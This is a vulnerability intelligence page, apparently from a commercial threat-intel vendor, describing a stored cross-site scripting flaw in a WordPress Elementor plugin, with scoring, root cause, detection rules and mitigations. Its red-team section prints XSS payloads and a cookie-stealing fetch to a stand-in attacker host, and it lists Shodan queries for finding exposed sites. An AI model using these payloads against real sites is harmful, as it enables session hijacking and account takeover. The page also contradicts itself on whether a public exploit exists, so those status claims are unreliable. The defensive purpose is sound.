☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Codexthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69357

CVE-2025-69357 Cross-Site Scripting in Codexthemes
📅 PUBLISHED: 2026-01-06 16:36 UTC 🔄 UPDATED: 2026-10-02 00:03 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69357 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin TheGem Theme Elements (for Elementor) by CodexThemes, affecting versions through 5.11.0. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which are then stored and executed in the browsers of other users (including administrators) when they view the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the widespread use of Elementor and TheGem theme, this poses a significant risk to WordPress sites, potentially leading to session hijacking, defacement, or malware distribution. No public proof-of-concept or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and commercial theme bundles. Users should verify the integrity of their plugin files and monitor for updates from CodexThemes. As no patch is available, immediate mitigation through Web Application Firewall (WAF) rules is recommended.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level WordPress user)
  • User Interaction: Required (Victim must visit the compromised page)
  • Scope: Changed (Impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can affect all users, including administrators, leading to privilege escalation scenarios.

Deep Dive & Mechanics

The vulnerability exists in the thegem-elements-elementor plugin, which extends Elementor with custom widgets for the TheGem theme. The plugin fails to properly sanitize or escape user input when rendering dynamic content (e.g., widget titles, descriptions, or custom HTML fields). An attacker with contributor-level access can inject malicious JavaScript into a page or post via Elementor's editor. When an administrator or other user views the page, the script executes in their browser context.

Root Cause: The plugin uses echo or the_content filters without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post() on user-supplied data. This allows arbitrary HTML/JavaScript to be stored and rendered.

Attack Flow:

  1. Attacker logs in as a contributor.
  2. Creates or edits a page using Elementor with TheGem elements.
  3. Injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable field.
  4. Publishes or saves the page as draft.
  5. Administrator or other user visits the page.
  6. Payload executes, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The plugin likely uses code similar to:

Vulnerable (<= 5.11.0):

// In a widget render method
echo $settings['title']; // No sanitization

Patched (Hypothetical):

// Properly escaped
echo esc_html( $settings['title'] );
// Or for rich text:
echo wp_kses_post( $settings['title'] );

The fix would involve applying appropriate WordPress escaping functions to all user-supplied fields within the plugin's widgets.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with TheGem theme and TheGem Elements plugin (<= 5.11.0)
  • Contributor-level account

Steps:

  1. Log in as contributor.
  2. Create a new page and edit with Elementor.
  3. Add a TheGem widget (e.g., "Heading" or "Text").
  4. In the widget's title or content field, inject:
    <img src=x onerror=alert(document.cookie)>
    
  5. Save and publish the page.
  6. When an admin views the page, the script executes.

Advanced Payload:

// Steal admin cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);

Blue Team

Detection:

  • Monitor for unusual Elementor page edits by low-privilege users.
  • Look for pages containing <script>, <img onerror>, or <svg onload> tags in post content.
  • Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php (Elementor's AJAX handler).

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/wp-admin/admin-ajax.php" AND form_data=*action=elementor*
| rex field=form_data "settings\[(?<field>[^\]]+)\]=(?<value>[^&]+)"
| search value IN ("*<script*", "*onerror*", "*onload*")
| stats count by src_ip, user, field, value

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None available; monitor plugin file changes)
  • Network: Outbound connections to unknown domains from WordPress admin pages.
  • Logs: POST requests to /wp-admin/admin-ajax.php with action=elementor_ajax and suspicious settings parameters.
  • Database: Posts/pages containing unescaped HTML/JavaScript in post_content or post_meta tables.

Detection Engineering

YARA Rule

rule CVE_2025_69357_Stored_XSS {
    meta:
        description = "Detects TheGem Elements plugin files with unsanitized output"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69357"
    strings:
        $unsafe_echo = /echo\s*\$settings\[/
        $unsafe_print = /print\s*\$settings\[/
        $unsafe_the_content = /the_content\(\s*\$settings/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-69357 Stored XSS via TheGem Elements
id: 8a3f2c1d-5e7b-4a9f-8c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS payloads in Elementor AJAX requests
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-69357 Stored XSS Attempt - TheGem Elements";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=elementor_ajax"; http_client_body;
    pcre:"/(<script|onerror=|onload=|javascript:)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-69357;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Apply a WAF rule to block common XSS patterns in Elementor AJAX requests.
  3. Restrict contributor roles to trusted users only.
  4. Monitor logs for suspicious Elementor activity.

Long-term Fix:

  • Update to a patched version once released by CodexThemes.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Conduct code review of all custom Elementor widgets for proper input sanitization.

Workaround:

  • Use a security plugin like Wordfence to add virtual patching for this CVE.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated from CVE-2025-69357 analysis

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"TheGem"
http.html:"thegem-elements-elementor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69357/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.